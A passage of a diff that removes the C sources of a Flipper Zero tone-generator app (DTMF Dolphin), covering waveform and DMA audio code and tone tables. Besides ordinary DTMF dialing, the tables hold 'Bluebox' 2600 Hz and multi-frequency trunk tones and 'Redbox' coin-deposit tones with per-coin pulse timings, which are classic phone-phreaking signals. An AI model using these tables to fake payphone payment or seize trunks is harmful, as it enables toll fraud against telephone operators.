osc->cached_freq = freq;
|
||||
osc->period = calc_waveform_period(freq);
|
||||
if(!osc->period) {
|
||||
osc->lookup_table = NULL;
|
||||
return;
|
||||
}
|
||||
osc->lookup_table = malloc(sizeof(float) * osc->period);
|
||||
|
||||
for(size_t i = 0; i < osc->period; i++) {
|
||||
osc->lookup_table[i] = sin(i * PERIOD_2_PI / osc->period) + 1;
|
||||
}
|
||||
}
|
||||
|
||||
void filter_generate_lookup_table(
|
||||
DTMFDolphinPulseFilter* pf,
|
||||
uint16_t pulses,
|
||||
uint16_t pulse_ms,
|
||||
uint16_t gap_ms) {
|
||||
if(pf->lookup_table != NULL) {
|
||||
free(pf->lookup_table);
|
||||
}
|
||||
pf->offset = 0;
|
||||
|
||||
uint16_t gap_period = calc_waveform_period(1000 / (float)gap_ms);
|
||||
uint16_t pulse_period = calc_waveform_period(1000 / (float)pulse_ms);
|
||||
pf->period = pulse_period + gap_period;
|
||||
|
||||
if(!pf->period) {
|
||||
pf->lookup_table = NULL;
|
||||
return;
|
||||
}
|
||||
pf->duration = pf->period * pulses;
|
||||
pf->lookup_table = malloc(sizeof(bool) * pf->duration);
|
||||
|
||||
for(size_t i = 0; i < pf->duration; i++) {
|
||||
pf->lookup_table[i] = i % pf->period < pulse_period;
|
||||
}
|
||||
}
|
||||
|
||||
float sample_frame(DTMFDolphinOsc* osc) {
|
||||
float frame = 0.0;
|
||||
|
||||
if(osc->period) {
|
||||
frame = osc->lookup_table[osc->offset];
|
||||
osc->offset = (osc->offset + 1) % osc->period;
|
||||
}
|
||||
|
||||
return frame;
|
||||
}
|
||||
|
||||
bool sample_filter(DTMFDolphinPulseFilter* pf) {
|
||||
bool frame = true;
|
||||
|
||||
if(pf->duration) {
|
||||
if(pf->offset < pf->duration) {
|
||||
frame = pf->lookup_table[pf->offset];
|
||||
pf->offset = pf->offset + 1;
|
||||
} else {
|
||||
frame = false;
|
||||
}
|
||||
}
|
||||
|
||||
return frame;
|
||||
}
|
||||
|
||||
void dtmf_dolphin_osc_free(DTMFDolphinOsc* osc) {
|
||||
if(osc->lookup_table != NULL) {
|
||||
free(osc->lookup_table);
|
||||
}
|
||||
free(osc);
|
||||
}
|
||||
|
||||
void dtmf_dolphin_filter_free(DTMFDolphinPulseFilter* pf) {
|
||||
if(pf->lookup_table != NULL) {
|
||||
free(pf->lookup_table);
|
||||
}
|
||||
free(pf);
|
||||
}
|
||||
|
||||
void dtmf_dolphin_audio_free(DTMFDolphinAudio* player) {
|
||||
furi_message_queue_free(player->queue);
|
||||
dtmf_dolphin_osc_free(player->osc1);
|
||||
dtmf_dolphin_osc_free(player->osc2);
|
||||
dtmf_dolphin_filter_free(player->filter);
|
||||
free(player->sample_buffer);
|
||||
free(player);
|
||||
current_player = NULL;
|
||||
}
|
||||
|
||||
bool generate_waveform(DTMFDolphinAudio* player, uint16_t buffer_index) {
|
||||
uint16_t* sample_buffer_start = &player->sample_buffer[buffer_index];
|
||||
|
||||
for(size_t i = 0; i < player->half_buffer_length; i++) {
|
||||
float data = 0;
|
||||
if(player->osc2->period) {
|
||||
data = (sample_frame(player->osc1) / 2) + (sample_frame(player->osc2) / 2);
|
||||
} else {
|
||||
data = (sample_frame(player->osc1));
|
||||
}
|
||||
data *= sample_filter(player->filter) ? player->volume : 0.0;
|
||||
data *= UINT8_MAX / 2; // scale -128..127
|
||||
data += UINT8_MAX / 2; // to unsigned
|
||||
|
||||
if(data < 0) {
|
||||
data = 0;
|
||||
}
|
||||
|
||||
if(data > 255) {
|
||||
data = 255;
|
||||
}
|
||||
|
||||
sample_buffer_start[i] = data;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool dtmf_dolphin_audio_play_tones(
|
||||
float freq1,
|
||||
float freq2,
|
||||
uint16_t pulses,
|
||||
uint16_t pulse_ms,
|
||||
uint16_t gap_ms) {
|
||||
if(current_player != NULL && current_player->playing) {
|
||||
// Cannot start playing while still playing something else
|
||||
return false;
|
||||
}
|
||||
current_player = dtmf_dolphin_audio_alloc();
|
||||
|
||||
osc_generate_lookup_table(current_player->osc1, freq1);
|
||||
osc_generate_lookup_table(current_player->osc2, freq2);
|
||||
filter_generate_lookup_table(current_player->filter, pulses, pulse_ms, gap_ms);
|
||||
|
||||
generate_waveform(current_player, 0);
|
||||
generate_waveform(current_player, current_player->half_buffer_length);
|
||||
|
||||
dtmf_dolphin_dma_init((uint32_t)current_player->sample_buffer, current_player->buffer_length);
|
||||
|
||||
furi_hal_interrupt_set_isr(
|
||||
FuriHalInterruptIdDma1Ch1, dtmf_dolphin_audio_dma_isr, current_player->queue);
|
||||
if(furi_hal_speaker_acquire(1000)) {
|
||||
dtmf_dolphin_speaker_init();
|
||||
dtmf_dolphin_dma_start();
|
||||
dtmf_dolphin_speaker_start();
|
||||
current_player->playing = true;
|
||||
return true;
|
||||
} else {
|
||||
current_player->playing = false;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool dtmf_dolphin_audio_stop_tones() {
|
||||
if(current_player != NULL && !current_player->playing) {
|
||||
// Can't stop a player that isn't playing.
|
||||
return false;
|
||||
}
|
||||
while(current_player->filter->offset > 0 &&
|
||||
current_player->filter->offset < current_player->filter->duration) {
|
||||
// run remaining ticks if needed to complete filter sequence
|
||||
dtmf_dolphin_audio_handle_tick();
|
||||
}
|
||||
dtmf_dolphin_speaker_stop();
|
||||
dtmf_dolphin_dma_stop();
|
||||
furi_hal_speaker_release();
|
||||
|
||||
furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, NULL, NULL);
|
||||
|
||||
dtmf_dolphin_audio_free(current_player);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool dtmf_dolphin_audio_handle_tick() {
|
||||
bool handled = false;
|
||||
|
||||
if(current_player) {
|
||||
DTMFDolphinCustomEvent event;
|
||||
if(furi_message_queue_get(current_player->queue, &event, 250) == FuriStatusOk) {
|
||||
if(event.type == DTMFDolphinEventDMAHalfTransfer) {
|
||||
generate_waveform(current_player, 0);
|
||||
handled = true;
|
||||
} else if(event.type == DTMFDolphinEventDMAFullTransfer) {
|
||||
generate_waveform(current_player, current_player->half_buffer_length);
|
||||
handled = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return handled;
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
#pragma once
|
||||
// #include "dtmf_dolphin_i.h"
|
||||
#include "dtmf_dolphin_event.h"
|
||||
#include "dtmf_dolphin_hal.h"
|
||||
|
||||
#define SAMPLE_BUFFER_LENGTH 8192
|
||||
#define PERIOD_2_PI 6.2832
|
||||
#define CPU_CLOCK_FREQ 64000000
|
||||
|
||||
typedef struct {
|
||||
float cached_freq;
|
||||
size_t period;
|
||||
float* lookup_table;
|
||||
uint16_t offset;
|
||||
} DTMFDolphinOsc;
|
||||
|
||||
typedef struct {
|
||||
float duration;
|
||||
size_t period;
|
||||
bool* lookup_table;
|
||||
uint16_t offset;
|
||||
} DTMFDolphinPulseFilter;
|
||||
|
||||
typedef struct {
|
||||
size_t buffer_length;
|
||||
size_t half_buffer_length;
|
||||
uint8_t* buffer_buffer;
|
||||
uint16_t* sample_buffer;
|
||||
float volume;
|
||||
FuriMessageQueue* queue;
|
||||
DTMFDolphinOsc* osc1;
|
||||
DTMFDolphinOsc* osc2;
|
||||
DTMFDolphinPulseFilter* filter;
|
||||
bool playing;
|
||||
} DTMFDolphinAudio;
|
||||
|
||||
DTMFDolphinOsc* dtmf_dolphin_osc_alloc();
|
||||
|
||||
DTMFDolphinAudio* dtmf_dolphin_audio_alloc();
|
||||
|
||||
void dtmf_dolphin_audio_free(DTMFDolphinAudio* player);
|
||||
|
||||
void dtmf_dolphin_osc_free(DTMFDolphinOsc* osc);
|
||||
|
||||
bool dtmf_dolphin_audio_play_tones(
|
||||
float freq1,
|
||||
float freq2,
|
||||
uint16_t pulses,
|
||||
uint16_t pulse_ms,
|
||||
uint16_t gap_ms);
|
||||
|
||||
bool dtmf_dolphin_audio_stop_tones();
|
||||
|
||||
bool dtmf_dolphin_audio_handle_tick();
|
||||
@@ -1,220 +0,0 @@
|
||||
#include "dtmf_dolphin_data.h"
|
||||
|
||||
typedef struct {
|
||||
const uint8_t row;
|
||||
const uint8_t col;
|
||||
const uint8_t span;
|
||||
} DTMFDolphinTonePos;
|
||||
|
||||
typedef struct {
|
||||
const char* name;
|
||||
const float frequency_1;
|
||||
const float frequency_2;
|
||||
const DTMFDolphinTonePos pos;
|
||||
const uint16_t pulses; // for Redbox
|
||||
const uint16_t pulse_ms; // for Redbox
|
||||
const uint16_t gap_duration; // for Redbox
|
||||
} DTMFDolphinTones;
|
||||
|
||||
typedef struct {
|
||||
const char* name;
|
||||
DTMFDolphinToneSection block;
|
||||
uint8_t tone_count;
|
||||
DTMFDolphinTones tones[DTMF_DOLPHIN_MAX_TONE_COUNT];
|
||||
} DTMFDolphinSceneData;
|
||||
|
||||
DTMFDolphinSceneData DTMFDolphinSceneDataDialer = {
|
||||
.name = "Dialer",
|
||||
.block = DTMF_DOLPHIN_TONE_BLOCK_DIALER,
|
||||
.tone_count = 16,
|
||||
.tones = {
|
||||
{"1", 697.0, 1209.0, {0, 0, 1}, 0, 0, 0},
|
||||
{"2", 697.0, 1336.0, {0, 1, 1}, 0, 0, 0},
|
||||
{"3", 697.0, 1477.0, {0, 2, 1}, 0, 0, 0},
|
||||
{"A", 697.0, 1633.0, {0, 3, 1}, 0, 0, 0},
|
||||
{"4", 770.0, 1209.0, {1, 0, 1}, 0, 0, 0},
|
||||
{"5", 770.0, 1336.0, {1, 1, 1}, 0, 0, 0},
|
||||
{"6", 770.0, 1477.0, {1, 2, 1}, 0, 0, 0},
|
||||
{"B", 770.0, 1633.0, {1, 3, 1}, 0, 0, 0},
|
||||
{"7", 852.0, 1209.0, {2, 0, 1}, 0, 0, 0},
|
||||
{"8", 852.0, 1336.0, {2, 1, 1}, 0, 0, 0},
|
||||
{"9", 852.0, 1477.0, {2, 2, 1}, 0, 0, 0},
|
||||
{"C", 852.0, 1633.0, {2, 3, 1}, 0, 0, 0},
|
||||
{"*", 941.0, 1209.0, {3, 0, 1}, 0, 0, 0},
|
||||
{"0", 941.0, 1336.0, {3, 1, 1}, 0, 0, 0},
|
||||
{"#", 941.0, 1477.0, {3, 2, 1}, 0, 0, 0},
|
||||
{"D", 941.0, 1633.0, {3, 3, 1}, 0, 0, 0},
|
||||
}};
|
||||
|
||||
DTMFDolphinSceneData DTMFDolphinSceneDataBluebox = {
|
||||
.name = "Bluebox",
|
||||
.block = DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX,
|
||||
.tone_count = 13,
|
||||
.tones = {
|
||||
{"1", 700.0, 900.0, {0, 0, 1}, 0, 0, 0},
|
||||
{"2", 700.0, 1100.0, {0, 1, 1}, 0, 0, 0},
|
||||
{"3", 900.0, 1100.0, {0, 2, 1}, 0, 0, 0},
|
||||
{"4", 700.0, 1300.0, {1, 0, 1}, 0, 0, 0},
|
||||
{"5", 900.0, 1300.0, {1, 1, 1}, 0, 0, 0},
|
||||
{"6", 1100.0, 1300.0, {1, 2, 1}, 0, 0, 0},
|
||||
{"7", 700.0, 1500.0, {2, 0, 1}, 0, 0, 0},
|
||||
{"8", 900.0, 1500.0, {2, 1, 1}, 0, 0, 0},
|
||||
{"9", 1100.0, 1500.0, {2, 2, 1}, 0, 0, 0},
|
||||
{"0", 1300.0, 1500.0, {3, 1, 1}, 0, 0, 0},
|
||||
{"KP", 1100.0, 1700.0, {0, 3, 2}, 0, 0, 0},
|
||||
{"ST", 1500.0, 1700.0, {1, 3, 2}, 0, 0, 0},
|
||||
{"2600", 2600.0, 0.0, {3, 2, 3}, 0, 0, 0},
|
||||
}};
|
||||
|
||||
DTMFDolphinSceneData DTMFDolphinSceneDataRedboxUS = {
|
||||
.name = "Redbox (US)",
|
||||
.block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US,
|
||||
.tone_count = 4,
|
||||
.tones = {
|
||||
{"Nickel", 1700.0, 2200.0, {0, 0, 5}, 1, 66, 0},
|
||||
{"Dime", 1700.0, 2200.0, {1, 0, 5}, 2, 66, 66},
|
||||
{"Quarter", 1700.0, 2200.0, {2, 0, 5}, 5, 33, 33},
|
||||
{"Dollar", 1700.0, 2200.0, {3, 0, 5}, 1, 650, 0},
|
||||
}};
|
||||
|
||||
DTMFDolphinSceneData DTMFDolphinSceneDataRedboxCA = {
|
||||
.name = "Redbox (CA)",
|
||||
.block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA,
|
||||
.tone_count = 3,
|
||||
.tones = {
|
||||
{"Nickel", 2200.0, 0.0, {0, 0, 5}, 1, 66, 0},
|
||||
{"Dime", 2200.0, 0.0, {1, 0, 5}, 2, 66, 66},
|
||||
{"Quarter", 2200.0, 0.0, {2, 0, 5}, 5, 33, 33},
|
||||
}};
|
||||
|
||||
DTMFDolphinSceneData DTMFDolphinSceneDataRedboxUK = {
|
||||
.name = "Redbox (UK)",
|
||||
.block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK,
|
||||
.tone_count = 2,
|
||||
.tones = {
|
||||
{"10p", 1000.0, 0.0, {0, 0, 5}, 1, 200, 0},
|
||||
{"50p", 1000.0, 0.0, {1, 0, 5}, 1, 350, 0},
|
||||
}};
|
||||
|
||||
DTMFDolphinSceneData DTMFDolphinSceneDataMisc = {
|
||||
.name = "Misc",
|
||||
.block = DTMF_DOLPHIN_TONE_BLOCK_MISC,
|
||||
.tone_count = 3,
|
||||
.tones = {
|
||||
{"CCITT 11", 700.0, 1700.0, {0, 0, 5}, 0, 0, 0},
|
||||
{"CCITT 12", 900.0, 1700.0, {1, 0, 5}, 0, 0, 0},
|
||||
{"CCITT KP2", 1300.0, 1700.0, {2, 0, 5}, 0, 0, 0},
|
||||
}};
|
||||
|
||||
DTMFDolphinToneSection current_section;
|
||||
DTMFDolphinSceneData* current_scene_data;
|
||||
|
||||
void dtmf_dolphin_data_set_current_section(DTMFDolphinToneSection section) {
|
||||
current_section = section;
|
||||
|
||||
switch(current_section) {
|
||||
case DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX:
|
||||
current_scene_data = &DTMFDolphinSceneDataBluebox;
|
||||
break;
|
||||
case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US:
|
||||
current_scene_data = &DTMFDolphinSceneDataRedboxUS;
|
||||
break;
|
||||
case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA:
|
||||
current_scene_data = &DTMFDolphinSceneDataRedboxCA;
|
||||
break;
|
||||
case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK:
|
||||
current_scene_data = &DTMFDolphinSceneDataRedboxUK;
|
||||
break;
|
||||
case DTMF_DOLPHIN_TONE_BLOCK_MISC:
|
||||
current_scene_data = &DTMFDolphinSceneDataMisc;
|
||||
break;
|
||||
default: // DTMF_DOLPHIN_TONE_BLOCK_DIALER:
|
||||
current_scene_data = &DTMFDolphinSceneDataDialer;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
DTMFDolphinToneSection dtmf_dolphin_data_get_current_section() {
|
||||
return current_section;
|
||||
}
|
||||
|
||||
DTMFDolphinSceneData* dtmf_dolphin_data_get_current_scene_data() {
|
||||
return current_scene_data;
|
||||
}
|
||||
|
||||
bool dtmf_dolphin_data_get_tone_frequencies(float* freq1, float* freq2, uint8_t row, uint8_t col) {
|
||||
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
|
||||
DTMFDolphinTones tones = current_scene_data->tones[i];
|
||||
if(tones.pos.row == row && tones.pos.col == col) {
|
||||
freq1[0] = tones.frequency_1;
|
||||
freq2[0] = tones.frequency_2;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool dtmf_dolphin_data_get_filter_data(
|
||||
uint16_t* pulses,
|
||||
uint16_t* pulse_ms,
|
||||
uint16_t* gap_ms,
|
||||
uint8_t row,
|
||||
uint8_t col) {
|
||||
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
|
||||
DTMFDolphinTones tones = current_scene_data->tones[i];
|
||||
if(tones.pos.row == row && tones.pos.col == col) {
|
||||
pulses[0] = tones.pulses;
|
||||
pulse_ms[0] = tones.pulse_ms;
|
||||
gap_ms[0] = tones.gap_duration;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
const char* dtmf_dolphin_data_get_tone_name(uint8_t row, uint8_t col) {
|
||||
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
|
||||
DTMFDolphinTones tones = current_scene_data->tones[i];
|
||||
if(tones.pos.row == row && tones.pos.col == col) {
|
||||
return tones.name;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const char* dtmf_dolphin_data_get_current_section_name() {
|
||||
if(current_scene_data) {
|
||||
return current_scene_data->name;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void dtmf_dolphin_tone_get_max_pos(uint8_t* max_rows, uint8_t* max_cols, uint8_t* max_span) {
|
||||
max_rows[0] = 0;
|
||||
max_cols[0] = 0;
|
||||
max_span[0] = 0;
|
||||
uint8_t tmp_rowspan[5] = {0, 0, 0, 0, 0};
|
||||
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
|
||||
DTMFDolphinTones tones = current_scene_data->tones[i];
|
||||
if(tones.pos.row > max_rows[0]) {
|
||||
max_rows[0] = tones.pos.row;
|
||||
}
|
||||
if(tones.pos.col > max_cols[0]) {
|
||||
max_cols[0] = tones.pos.col;
|
||||
}
|
||||
tmp_rowspan[tones.pos.row] += tones.pos.span;
|
||||
if(tmp_rowspan[tones.pos.row] > max_span[0]) max_span[0] = tmp_rowspan[tones.pos.row];
|
||||
}
|
||||
max_rows[0]++;
|
||||
max_cols[0]++;
|
||||
}
|
||||
|
||||
uint8_t dtmf_dolphin_get_tone_span(uint8_t row, uint8_t col) {
|
||||
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
|
||||
DTMFDolphinTones tones = current_scene_data->tones[i];
|
||||
if(tones.pos.row == row && tones.pos.col == col) {
|
||||
return tones.pos.span;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -1,36 +0,0 @@
|
||||
#pragma once
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define DTMF_DOLPHIN_MAX_TONE_COUNT 16
|
||||
|
||||
typedef enum {
|
||||
DTMF_DOLPHIN_TONE_BLOCK_DIALER,
|
||||
DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX,
|
||||
DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US,
|
||||
DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK,
|
||||
DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA,
|
||||
DTMF_DOLPHIN_TONE_BLOCK_MISC,
|
||||
} DTMFDolphinToneSection;
|
||||
|
||||
void dtmf_dolphin_data_set_current_section(DTMFDolphinToneSection section);
|
||||
|
||||
DTMFDolphinToneSection dtmf_dolphin_data_get_current_section();
|
||||
|
||||
bool dtmf_dolphin_data_get_tone_frequencies(float* freq1, float* freq2, uint8_t row, uint8_t col);
|
||||
|
||||
bool dtmf_dolphin_data_get_filter_data(
|
||||
uint16_t* pulses,
|
||||
uint16_t* pulse_ms,
|
||||
uint16_t* gap_ms,
|
||||
uint8_t row,
|
||||
uint8_t col);
|
||||
|
||||
const char* dtmf_dolphin_data_get_tone_name(uint8_t row, uint8_t col);
|
||||
|
||||
const char* dtmf_dolphin_data_get_current_section_name();
|
||||
|
||||
void dtmf_dolphin_tone_get_max_pos(uint8_t* max_rows, uint8_t* max_cols, uint8_t* max_span);
|
||||
|
||||
uint8_t dtmf_dolphin_get_tone_span(uint8_t row, uint8_t col);
|
||||
@@ -1,21 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
typedef enum {
|
||||
DTMFDolphinEventVolumeUp = 0,
|
||||
DTMFDolphinEventVolumeDown,
|
||||
DTMFDolphinDialerOkCB,
|
||||
DTMFDolphinEventStartDialer,
|
||||
DTMFDolphinEventStartBluebox,
|
||||
DTMFDolphinEventStartRedboxUS,
|
||||
DTMFDolphinEventStartRedboxUK,
|
||||
DTMFDolphinEventStartRedboxCA,
|
||||
DTMFDolphinEventStartMisc,
|
||||
DTMFDolphinEventPlayTones,
|
||||
DTMFDolphinEventStopTones,
|
||||
DTMFDolphinEventDMAHalfTransfer,
|
||||
DTMFDolphinEventDMAFullTransfer,
|
||||
} DTMFDolphinEvent;
|
||||
|
||||
typedef struct {
|
||||
DTMFDolphinEvent type;
|
||||
} DTMFDolphinCustomEvent;
|
||||
@@ -1,52 +0,0 @@
|
||||
#include "dtmf_dolphin_hal.h"
|
||||
|
||||
void dtmf_dolphin_speaker_init() {
|
||||
LL_TIM_InitTypeDef TIM_InitStruct = {0};
|
||||
TIM_InitStruct.Prescaler = DTMF_DOLPHIN_HAL_DMA_PRESCALER;
|
||||
TIM_InitStruct.Autoreload = DTMF_DOLPHIN_HAL_DMA_AUTORELOAD;
|
||||
LL_TIM_Init(FURI_HAL_SPEAKER_TIMER, &TIM_InitStruct);
|
||||
|
||||
LL_TIM_OC_InitTypeDef TIM_OC_InitStruct = {0};
|
||||
TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1;
|
||||
TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE;
|
||||
TIM_OC_InitStruct.CompareValue = 127;
|
||||
LL_TIM_OC_Init(FURI_HAL_SPEAKER_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct);
|
||||
}
|
||||
|
||||
void dtmf_dolphin_speaker_start() {
|
||||
LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER);
|
||||
LL_TIM_EnableCounter(FURI_HAL_SPEAKER_TIMER);
|
||||
}
|
||||
|
||||
void dtmf_dolphin_speaker_stop() {
|
||||
LL_TIM_DisableAllOutputs(FURI_HAL_SPEAKER_TIMER);
|
||||
LL_TIM_DisableCounter(FURI_HAL_SPEAKER_TIMER);
|
||||
}
|
||||
|
||||
void dtmf_dolphin_dma_init(uint32_t address, size_t size) {
|
||||
uint32_t dma_dst = (uint32_t) & (FURI_HAL_SPEAKER_TIMER->CCR1);
|
||||
|
||||
LL_DMA_ConfigAddresses(DMA_INSTANCE, address, dma_dst, LL_DMA_DIRECTION_MEMORY_TO_PERIPH);
|
||||
LL_DMA_SetDataLength(DMA_INSTANCE, size);
|
||||
|
||||
LL_DMA_SetPeriphRequest(DMA_INSTANCE, LL_DMAMUX_REQ_TIM16_UP);
|
||||
LL_DMA_SetDataTransferDirection(DMA_INSTANCE, LL_DMA_DIRECTION_MEMORY_TO_PERIPH);
|
||||
LL_DMA_SetChannelPriorityLevel(DMA_INSTANCE, LL_DMA_PRIORITY_VERYHIGH);
|
||||
LL_DMA_SetMode(DMA_INSTANCE, LL_DMA_MODE_CIRCULAR);
|
||||
LL_DMA_SetPeriphIncMode(DMA_INSTANCE, LL_DMA_PERIPH_NOINCREMENT);
|
||||
LL_DMA_SetMemoryIncMode(DMA_INSTANCE, LL_DMA_MEMORY_INCREMENT);
|
||||
LL_DMA_SetPeriphSize(DMA_INSTANCE, LL_DMA_PDATAALIGN_HALFWORD);
|
||||
LL_DMA_SetMemorySize(DMA_INSTANCE, LL_DMA_MDATAALIGN_HALFWORD);
|
||||
|
||||
LL_DMA_EnableIT_TC(DMA_INSTANCE);
|
||||
LL_DMA_EnableIT_HT(DMA_INSTANCE);
|
||||
}
|
||||
|
||||
void dtmf_dolphin_dma_start() {
|
||||
LL_DMA_EnableChannel(DMA_INSTANCE);
|
||||
LL_TIM_EnableDMAReq_UPDATE(FURI_HAL_SPEAKER_TIMER);
|
||||
}
|
||||
|
||||
void dtmf_dolphin_dma_stop() {
|
||||
LL_DMA_DisableChannel(DMA_INSTANCE);
|
||||
}
|
||||
@@ -1,33 +0,0 @@
|
||||
#pragma once
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <stm32wb55xx.h>
|
||||
#include <stm32wbxx_ll_tim.h>
|
||||
#include <stm32wbxx_ll_dma.h>
|
||||
|
||||
#define FURI_HAL_SPEAKER_TIMER TIM16
|
||||
#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1
|
||||
#define DMA_INSTANCE DMA1, LL_DMA_CHANNEL_1
|
||||
|
||||
#define DTMF_DOLPHIN_HAL_DMA_PRESCALER 4
|
||||
#define DTMF_DOLPHIN_HAL_DMA_AUTORELOAD 255
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
void dtmf_dolphin_speaker_init();
|
||||
|
||||
void dtmf_dolphin_speaker_start();
|
||||
|
||||
void dtmf_dolphin_speaker_stop();
|
||||
|
||||
void dtmf_dolphin_dma_init(uint32_t address, size_t size);
|
||||
|
||||
void dtmf_dolphin_dma_start();
|
||||
|
||||
void dtmf_dolphin_dma_stop();
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -1,42 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include "scenes/dtmf_dolphin_scene.h"
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/scene_manager.h>
|
||||
// #include <gui/modules/submenu.h>
|
||||
// #include <gui/modules/widget.h>
|
||||
#include <gui/modules/variable_item_list.h>
|
||||
#include <notification/notification_messages.h>
|
||||
#include <input/input.h>
|
||||
|
||||
#include "dtmf_dolphin_event.h"
|
||||
|
||||
#include "views/dtmf_dolphin_dialer.h"
|
||||
|
||||
#define TAG "DTMFDolphin"
|
||||
|
||||
enum DTMFDolphinSceneState {
|
||||
DTMFDolphinSceneStateDialer,
|
||||
DTMFDolphinSceneStateBluebox,
|
||||
DTMFDolphinSceneStateRedboxUS,
|
||||
DTMFDolphinSceneStateRedboxUK,
|
||||
DTMFDolphinSceneStateRedboxCA,
|
||||
DTMFDolphinSceneStateMisc,
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
ViewDispatcher* view_dispatcher;
|
||||
SceneManager* scene_manager;
|
||||
VariableItemList* main_menu_list;
|
||||
DTMFDolphinDialer* dtmf_dolphin_dialer;
|
||||
|
||||
Gui* gui;
|
||||
// ButtonPanel* dialer_button_panel;
|
||||
// ButtonPanel* bluebox_button_panel;
|
||||
// ButtonPanel* redbox_button_panel;
|
||||
NotificationApp* notification;
|
||||
} DTMFDolphinApp;
|
||||
|
||||
typedef enum { DTMFDolphinViewMainMenu, DTMFDolphinViewDialer } DTMFDolphinView;
|
||||
BIN
applications/external/dtmf_dolphin/phone.png
vendored
|
Before Width: | Height: | Size: 8.5 KiB |
@@ -1,30 +0,0 @@
|
||||
#include "dtmf_dolphin_scene.h"
|
||||
|
||||
// Generate scene on_enter handlers array
|
||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
|
||||
void (*const dtmf_dolphin_scene_on_enter_handlers[])(void*) = {
|
||||
#include "dtmf_dolphin_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Generate scene on_event handlers array
|
||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
|
||||
bool (*const dtmf_dolphin_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
|
||||
#include "dtmf_dolphin_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Generate scene on_exit handlers array
|
||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
|
||||
void (*const dtmf_dolphin_scene_on_exit_handlers[])(void* context) = {
|
||||
#include "dtmf_dolphin_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Initialize scene handlers configuration structure
|
||||
const SceneManagerHandlers dtmf_dolphin_scene_handlers = {
|
||||
.on_enter_handlers = dtmf_dolphin_scene_on_enter_handlers,
|
||||
.on_event_handlers = dtmf_dolphin_scene_on_event_handlers,
|
||||
.on_exit_handlers = dtmf_dolphin_scene_on_exit_handlers,
|
||||
.scene_num = DTMFDolphinSceneNum,
|
||||
};
|
||||
@@ -1,29 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <gui/scene_manager.h>
|
||||
|
||||
// Generate scene id and total number
|
||||
#define ADD_SCENE(prefix, name, id) DTMFDolphinScene##id,
|
||||
typedef enum {
|
||||
#include "dtmf_dolphin_scene_config.h"
|
||||
DTMFDolphinSceneNum,
|
||||
} DTMFDolphinScene;
|
||||
#undef ADD_SCENE
|
||||
|
||||
extern const SceneManagerHandlers dtmf_dolphin_scene_handlers;
|
||||
|
||||
// Generate scene on_enter handlers declaration
|
||||
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
|
||||
#include "dtmf_dolphin_scene_config.h"
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Generate scene on_event handlers declaration
|
||||
#define ADD_SCENE(prefix, name, id) \
|
||||
bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
|
||||
#include "dtmf_dolphin_scene_config.h"
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Generate scene on_exit handlers declaration
|
||||
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
|
||||
#include "dtmf_dolphin_scene_config.h"
|
||||
#undef ADD_SCENE
|
||||
@@ -1,2 +0,0 @@
|
||||
ADD_SCENE(dtmf_dolphin, start, Start)
|
||||
ADD_SCENE(dtmf_dolphin, dialer, Dialer)
|
||||
@@ -1,49 +0,0 @@
|
||||
